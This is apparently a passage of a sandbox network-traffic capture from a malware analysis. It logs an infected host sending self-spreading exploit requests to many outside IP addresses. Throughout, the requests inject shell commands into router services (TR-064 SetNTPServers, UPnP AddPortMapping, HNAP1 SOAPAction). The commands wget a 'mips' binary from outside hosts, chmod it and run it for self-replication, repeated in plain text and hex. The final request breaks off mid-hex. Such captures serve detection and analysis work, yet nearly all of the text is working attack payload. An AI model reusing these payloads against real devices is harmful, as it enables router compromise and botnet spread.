Apr 15, 2024 08:53:22.858057976 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.13	46068	121.188.199.118	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.858761072 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.13	35056	69.80.41.46	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:23.122347116 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:23.403559923 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:53:21 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.13	49084	183.106.91.221	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:23.127397060 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.13	46080	121.188.199.118	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:23.157648087 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.13	56826	165.51.2.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:23.274189949 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:23.646680117 CEST	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:53:23 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.13	55084	203.99.106.59	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:23.856441021 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:26.880433083 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:33.024497032 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:45.056487083 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.13	43520	154.215.87.60	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.149305105 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:28.160485029 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 